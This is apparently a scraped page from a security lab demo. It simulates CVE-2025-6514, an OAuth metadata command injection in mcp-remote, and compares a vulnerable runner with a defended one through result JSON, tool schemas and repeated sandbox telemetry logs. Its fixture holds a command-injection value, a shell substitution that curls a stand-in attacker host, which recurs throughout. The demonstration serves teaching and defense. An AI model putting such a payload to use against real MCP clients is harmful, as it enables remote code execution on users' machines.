compare-vuln-remote-mcp-remote-auth-endpoint-injection2026-09-07T15:44:03.792385+00:00/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt · canary CANARY_remote_mcp_remote_auth_endpoint_injection_e2b1658ebd4c247f34966e5dcompare-def-remote-mcp-remote-auth-endpoint-injection2026-09-07T15:44:03.792665+00:00oauth_metadata_validation_policy · logged to var/telemetry.jsonlconnect_with_metadatasandbox/effects/auth-endpoint-command-proof-<session>.txtauthorization_endpointhttp://attacker.example/authorize?$(curl evil.example/x)/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txtFalseno real command run; bounded proof file onlyimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modeimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modeimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modeimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modeimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modeimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modeimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modevar/telemetry.jsonloauth_metadata_validation_policyauthorization_endpointhttp://attacker.example/authorize?$(curl evil.example/x)'authorization_endpoint' must use https; got 'http'Falsepolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedpolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedpolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedpolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedpolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedpolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedpolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedBounded simulation of CVE-2025-6514 (`mcp-remote` OAuth metadata injection). A malicious OAuth metadata fixture carries a non-HTTPS authorization endpoint, embedded shell-metacharacter markers and a non-allowlisted host. The vulnerable runner trusts the metadata and reaches a bounded proof primitive. The defended runner validates the metadata first (scheme, host allowlist, control chars, shell-meta markers, redirect-to-internal) and refuses before any effect.
http://mcp-sec.data.mayflower.tech/mcp/mcp-remote-auth-endpoint-injection/vulnerable/http://mcp-sec.data.mayflower.tech/mcp/mcp-remote-auth-endpoint-injection/defended/npx @modelcontextprotocol/inspector locally and paste either URL above as a Streamable HTTP server.{
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"violation_detected": true,
"secret_exfiltrated": false,
"blocked_by": [],
"events": [
{
"type": "bounded_rce_proof",
"metadata_field": "authorization_endpoint",
"metadata_value": "http://attacker.example/authorize?$(curl evil.example/x)",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"would_execute": false,
"note": "no real command run; bounded proof file only"
}
]
}{
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"violation_detected": true,
"secret_exfiltrated": false,
"blocked_by": [
"oauth_metadata_validation_policy"
],
"events": [
{
"type": "metadata_decision",
"field": "authorization_endpoint",
"value": "http://attacker.example/authorize?$(curl evil.example/x)",
"reason": "'authorization_endpoint' must use https; got 'http'",
"would_execute": false
}
]
}Connect to an upstream MCP server using the supplied OAuth metadata (issuer, authorization_endpoint, token_endpoint).
{
"properties": {
"issuer": {
"title": "Issuer",
"type": "string"
},
"authorization_endpoint": {
"title": "Authorization Endpoint",
"type": "string"
},
"token_endpoint": {
"title": "Token Endpoint",
"type": "string"
},
"session_id": {
"default": "mcp-vulnerable",
"title": "Session Id",
"type": "string"
}
},
"required": [
"issuer",
"authorization_endpoint",
"token_endpoint"
],
"title": "connect_with_metadataArguments",
"type": "object"
}Run the canonical scenario and return DemoResult.
{
"properties": {
"session_id": {
"default": "mcp-vulnerable",
"title": "Session Id",
"type": "string"
}
},
"title": "run_demoArguments",
"type": "object"
}Connect to an upstream MCP server using the supplied OAuth metadata (issuer, authorization_endpoint, token_endpoint).
{
"properties": {
"issuer": {
"title": "Issuer",
"type": "string"
},
"authorization_endpoint": {
"title": "Authorization Endpoint",
"type": "string"
},
"token_endpoint": {
"title": "Token Endpoint",
"type": "string"
},
"session_id": {
"default": "mcp-defended",
"title": "Session Id",
"type": "string"
}
},
"required": [
"issuer",
"authorization_endpoint",
"token_endpoint"
],
"title": "connect_with_metadataArguments",
"type": "object"
}Run the canonical scenario and return DemoResult.
{
"properties": {
"session_id": {
"default": "mcp-defended",
"title": "Session Id",
"type": "string"
}
},
"title": "run_demoArguments",
"type": "object"
}[
{
"event_id": "evt_b7bd461549b3668e",
"ts": "2026-07-26T03:20:16.439848+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_e2b1658ebd4c247f34966e5d",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
},
{
"event_id": "evt_84a1ca3978a5857c",
"ts": "2026-08-19T08:56:24.823770+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_e2b1658ebd4c247f34966e5d",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
},
{
"event_id": "evt_3a4ac6b8f7fe3e75",
"ts": "2026-08-29T11:19:34.079549+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_e2b1658ebd4c247f34966e5d",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
},
{
"event_id": "evt_72c2a0735ebd8679",
"ts": "2026-09-07T14:02:15.962924+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_e2b1658ebd4c247f34966e5d",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
},
{
"event_id": "evt_8619210ad6965c2f",
"ts": "2026-09-07T14:02:58.966409+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_e2b1658ebd4c247f34966e5d",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
},
{
"event_id": "evt_64de8304ef0dcd10",
"ts": "2026-09-07T14:04:38.565106+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_e2b1658ebd4c247f34966e5d",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
},
{
"event_id": "evt_93ec4b43b6571d9e",
"ts": "2026-09-07T15:44:03.792385+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_e2b1658ebd4c247f34966e5d",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
}
][
{
"event_id": "evt_25b9b9f19643c7bf",
"ts": "2026-07-26T03:20:16.440212+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
},
{
"event_id": "evt_31044ebbf634c249",
"ts": "2026-08-19T08:56:24.823949+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
},
{
"event_id": "evt_c5e770e32ae9e7fd",
"ts": "2026-08-29T11:19:34.079809+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
},
{
"event_id": "evt_87c6b4ffab020283",
"ts": "2026-09-07T14:02:15.963329+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
},
{
"event_id": "evt_6e4b14ca17ad157f",
"ts": "2026-09-07T14:02:58.966622+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
},
{
"event_id": "evt_b4733b956afd10f9",
"ts": "2026-09-07T14:04:38.565354+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
},
{
"event_id": "evt_376b118877479fe8",
"ts": "2026-09-07T15:44:03.792665+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
}
]